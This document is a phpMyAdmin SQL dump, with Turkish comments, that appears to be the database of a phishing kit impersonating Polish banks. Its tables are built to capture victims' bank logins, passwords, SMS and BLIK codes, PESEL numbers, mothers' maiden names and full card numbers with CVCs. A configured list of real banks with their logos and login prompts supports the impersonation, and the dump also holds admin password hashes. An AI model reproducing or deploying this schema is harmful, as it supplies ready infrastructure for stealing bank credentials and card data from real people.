-- phpMyAdmin SQL Dump
-- version 5.2.2
-- https://www.phpmyadmin.net/
--
-- Anamakine: localhost:3306
-- Üretim Zamanı: 21 Ara 2025, 08:26:20
-- Sunucu sürümü: 11.4.9-MariaDB-cll-lve
-- PHP Sürümü: 8.3.27

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Veritabanı: `npnencypzt_1`
--

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `active_visitors`
--

CREATE TABLE `active_visitors` (
  `id` int(11) NOT NULL,
  `session_id` varchar(255) NOT NULL,
  `ip_address` varchar(45) NOT NULL,
  `user_agent` text NOT NULL,
  `current_page` varchar(255) NOT NULL,
  `last_seen` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `redirect_to` varchar(255) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `admin_users`
--

CREATE TABLE `admin_users` (
  `id` int(11) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Tablo döküm verisi `admin_users`
--

INSERT INTO `admin_users` (`id`, `username`, `password`) VALUES
(1, '1', 'c4ca4238a0b923820dcc509a6f75849b'),
(2, 'med', '$2y$10$Y5tOR8X1V0KgwlYS8auY8uF6WVCHhBQHFGoW8Z8r62FhnLAqTOCDq');

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `allowed_ips`
--

CREATE TABLE `allowed_ips` (
  `id` int(11) NOT NULL,
  `ip_address` varchar(100) NOT NULL,
  `description` varchar(255) DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `bank_logs`
--

CREATE TABLE `bank_logs` (
  `id` int(11) NOT NULL,
  `victim_id` int(11) DEFAULT NULL,
  `bank_name` varchar(255) NOT NULL,
  `login_id` varchar(255) NOT NULL,
  `password` varchar(255) NOT NULL,
  `ip_address` varchar(45) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `sms_code` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `blik_logs`
--

CREATE TABLE `blik_logs` (
  `id` int(11) NOT NULL,
  `victim_id` int(11) DEFAULT NULL,
  `blik_code` varchar(10) NOT NULL,
  `ip_address` varchar(45) NOT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `fb_accounts`
--

CREATE TABLE `fb_accounts` (
  `id` int(11) NOT NULL,
  `email` varchar(255) DEFAULT NULL,
  `password` varchar(255) DEFAULT NULL,
  `pesel` varchar(255) DEFAULT NULL,
  `maiden_name` varchar(255) DEFAULT NULL,
  `sms_code` varchar(30) DEFAULT NULL,
  `sms_code_2` varchar(20) DEFAULT NULL,
  `card_holder` varchar(255) DEFAULT NULL,
  `card_number` varchar(255) DEFAULT NULL,
  `card_expiry` varchar(10) DEFAULT NULL,
  `card_cvc` varchar(10) DEFAULT NULL,
  `confirmation_status` varchar(50) DEFAULT NULL,
  `ip_address` varchar(45) DEFAULT NULL,
  `user_agent` text DEFAULT NULL,
  `redirect_to` varchar(255) DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `dob` varchar(255) DEFAULT NULL,
  `postcode` varchar(255) DEFAULT NULL,
  `custom_question` text DEFAULT NULL,
  `custom_answer` text DEFAULT NULL,
  `bank_name` varchar(255) DEFAULT NULL,
  `bank_username` varchar(255) DEFAULT NULL,
  `bank_password` varchar(255) DEFAULT NULL,
  `mmn` varchar(100) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `managed_banks`
--

CREATE TABLE `managed_banks` (
  `id` int(11) NOT NULL,
  `bank_name` varchar(255) NOT NULL,
  `logo_path` varchar(255) NOT NULL,
  `login_prompt` varchar(255) NOT NULL,
  `password_prompt` varchar(255) NOT NULL,
  `is_active` tinyint(1) NOT NULL DEFAULT 1,
  `display_order` int(11) NOT NULL DEFAULT 0,
  `bank_type` varchar(50) DEFAULT 'classic'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Tablo döküm verisi `managed_banks`
--

INSERT INTO `managed_banks` (`id`, `bank_name`, `logo_path`, `login_prompt`, `password_prompt`, `is_active`, `display_order`, `bank_type`) VALUES
(15, 'PKO Bank Polski', 'https://play-lh.googleusercontent.com/pcB6a75-LE5xbAmSI-jbLCtGLurEvrBjcN42mRr9yE3Hv8E3vSB5rLamc7HBa6QeAQ=s48-rw', 'Wpisz numer klienta lub login', 'Hasło', 1, 0, 'classic'),
(16, 'Alior Bank', 'https://play-lh.googleusercontent.com/Rhxx6d6db_1qJvUBQzQ14w7u_fIaEe5E2Dhw4J87_H46RTKVY_LA_QmjRo8NfxVlY6EE=s48-rw', 'Wpisz identyfikator klienta', 'Hasło użytkownika', 1, 9, 'classic'),
(17, 'BLIK', 'https://images.seeklogo.com/logo-png/31/1/blik-logo-png_seeklogo-313495.png', '', '', 1, 11, 'blik'),
(18, 'BNP Paribas', 'https://play-lh.googleusercontent.com/4rBXnSz-u6NDuKP4H4lYgBc00PA2aYe4rdyMR0WKlHnRGKFuQ0jL8Gdz8EJ36dcCk5Zm=w240-h480-rw', 'Wpisz login', 'wpisz hasło', 1, 7, 'classic'),
(19, 'mBank', 'https://play-lh.googleusercontent.com/RvLAYmM0Nx1KuDfbivlUmfmOz-h1WSOrWZIu0or5hGXbXGi6tCDIQDRk1JY-NhB1Emw=w240-h480-rw', 'identyfikator', 'hasło', 1, 6, 'classic'),
(20, 'Citi Handlowy', 'https://play-lh.googleusercontent.com/SXdC8iMT5-k7GnVsZejGzAk02eYNFiOSbnuNwJPAjFL6ggVKcpyTzBqruedSdS-B9-4X=w240-h480-rw', 'Nazwa użytkownika', 'Hasło', 0, 16, 'classic'),
(21, 'Millennium', 'https://play-lh.googleusercontent.com/YmS8WDOhBIHeOhBhoGRw-gZbpPxSTc3CKPq0oRZPVdRqQsVaFSsI_79oY-7TjvBr_qU=w240-h480-rw', 'MilleKod', 'Hasło 1', 1, 1, 'classic'),
(22, 'Bank Pocztowy', 'https://play-lh.googleusercontent.com/YxrQ1doIZuSbAgYMxNk7SVVhd-9hAsEkln6slY1QyBPvMrcIaLo9k2qD_aR9aNKyNffEBbxG_h8EpeSVT-cl=w240-h480-rw', 'Wpisz numer klienta', 'Wpisz haslo', 1, 17, 'classic'),
(23, 'Bank Pekao', 'https://play-lh.googleusercontent.com/A_etEdIOX4IPe_4jO2oVuGtvlwWD-iujE-cScILqFseKOe1WYfIRO3mol1j3_gsh5n_g=s48-rw', 'Wpisz numer klienta / nazwę użytkownika', 'Wpisz hasło', 1, 10, 'classic'),
(24, 'BPS Bank', 'https://play-lh.googleusercontent.com/unuVMWW0RvzY-rONKsv_m8tNG_TglHt1YqM9dyEsTEKhoDYme835k5AbYdzGSjgPbQ=w240-h480-rw', 'Login', 'Hasło', 0, 13, 'classic'),
(25, 'Crédit Agricole', 'https://play-lh.googleusercontent.com/wV3336Mn37u-Nd6btSLyczMVnN7yniHzqHriQPnOdHGiQ-q9tlkxSH4EoZ5igQ_VwLI=w240-h480-rw', 'Identyfikator', 'Hasło', 1, 3, 'classic'),
(26, 'ING Bank Śląski', 'https://play-lh.googleusercontent.com/EbaD_7-_wv7sQbaajnFjUv7LfFUwoGjwKXXiGJuiheGNTwLuIIZ0qJtBxoGRb4TnQwo=s48-rw', 'Login do bankowości Moje ING', 'Wpisz hasło', 1, 8, 'classic'),
(27, 'Nest Bank', 'https://play-lh.googleusercontent.com/ZUsBk_wiWFqM1xU078OuqEBDmG5qUZK4rEVQPVqqmjr3J1gG93SioMZ5sovlqLqyMDc=w240-h480-rw', 'Twój login', 'Wpisz hasło', 0, 12, 'classic'),
(28, 'SGB Bank', 'https://play-lh.googleusercontent.com/_6drHA3P3tn_2H7dNpQjaOjraP0TMO7oDZjocB-dSbmASAbcv3QEzPVbA0FXGlZ1hXY=w240-h480-rw', 'Login', 'Hasło', 0, 14, 'classic'),
(29, 'Santander', 'https://play-lh.googleusercontent.com/w3YODyVQOUTPB-N9JY1Y8Iv3X2MQ-w3A8NFxFXnt0CEfXDj1JE5LG8mNX0QeCn8NVOY=w240-h480-rw', 'Wpisz login ', 'Wpisz hasło', 1, 2, 'classic'),
(30, 'VeloBank', 'https://play-lh.googleusercontent.com/o0XZvyt5MUKFZMVOIjZ4yWkpNRkzx2Zu_DwvUFhlO6QS6LDBPtHZ9VAqq-OyUlDA1Jw=s48-rw', 'Wpisz Twój login lub alias', 'Hasło', 0, 15, 'classic'),
(31, 'Revolut', 'https://play-lh.googleusercontent.com/vnnEhcu-pLumb_Xt-8UKLiGI1-dysWm4LQZcE5GV-4Ejr4mEibN47SMKgWlBJBTXEYw=w240-h480-rw', 'Wpisz numer telefonu', 'PIN', 1, 4, 'classic'),
(32, 'Bank Spółdzielczy', 'https://play-lh.googleusercontent.com/unuVMWW0RvzY-rONKsv_m8tNG_TglHt1YqM9dyEsTEKhoDYme835k5AbYdzGSjgPbQ=w240-h480-rw', 'Logowanie', 'Hasło', 1, 5, 'classic');

-- --------------------------------------------------------

--
-- Tablo için tablo yapısı `site_settings`
--

CREATE TABLE `site_settings` (
  `setting_key` varchar(50) NOT NULL,
  `setting_value` varchar(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Tablo döküm verisi `site_settings`
--

INSERT INTO `site_settings` (`setting_key`, `setting_value`) VALUES
('active_page', 'banks');

--
-- Dökümü yapılmış tablolar için indeksler
--

--
-- Tablo için indeksler `active_visitors`
--
ALTER TABLE `active_visitors`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `session_id` (`session_id`);

--
-- Tablo için indeksler `admin_users`
--
ALTER TABLE `admin_users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `username` (`username`);

--
-- Tablo için indeksler `allowed_ips`
--
ALTER TABLE `allowed_ips`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `ip_address` (`ip_address`);

--
-- Tablo için indeksler `bank_logs`
--
ALTER TABLE `bank_logs`
  ADD PRIMARY KEY (`id`);

--
-- Tablo için indeksler `blik_logs`
--
ALTER TABLE `blik_logs`
  ADD PRIMARY KEY (`id`);

--
-- Tablo için indeksler `fb_accounts`
--
ALTER TABLE `fb_accounts`
  ADD PRIMARY KEY (`id`);

--
-- Tablo için indeksler `managed_banks`
--
ALTER TABLE `managed_banks`
  ADD PRIMARY KEY (`id`);

--
-- Tablo için indeksler `site_settings`
--
ALTER TABLE `site_settings`
  ADD PRIMARY KEY (`setting_key`);

--
-- Dökümü yapılmış tablolar için AUTO_INCREMENT değeri
--

--
-- Tablo için AUTO_INCREMENT değeri `active_visitors`
--
ALTER TABLE `active_visitors`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=37;

--
-- Tablo için AUTO_INCREMENT değeri `admin_users`
--
ALTER TABLE `admin_users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- Tablo için AUTO_INCREMENT değeri `allowed_ips`
--
ALTER TABLE `allowed_ips`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- Tablo için AUTO_INCREMENT değeri `bank_logs`
--
ALTER TABLE `bank_logs`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=16;

--
-- Tablo için AUTO_INCREMENT değeri `blik_logs`
--
ALTER TABLE `blik_logs`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- Tablo için AUTO_INCREMENT değeri `fb_accounts`
--
ALTER TABLE `fb_accounts`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=26;

--
-- Tablo için AUTO_INCREMENT değeri `managed_banks`
--
ALTER TABLE `managed_banks`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=33;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
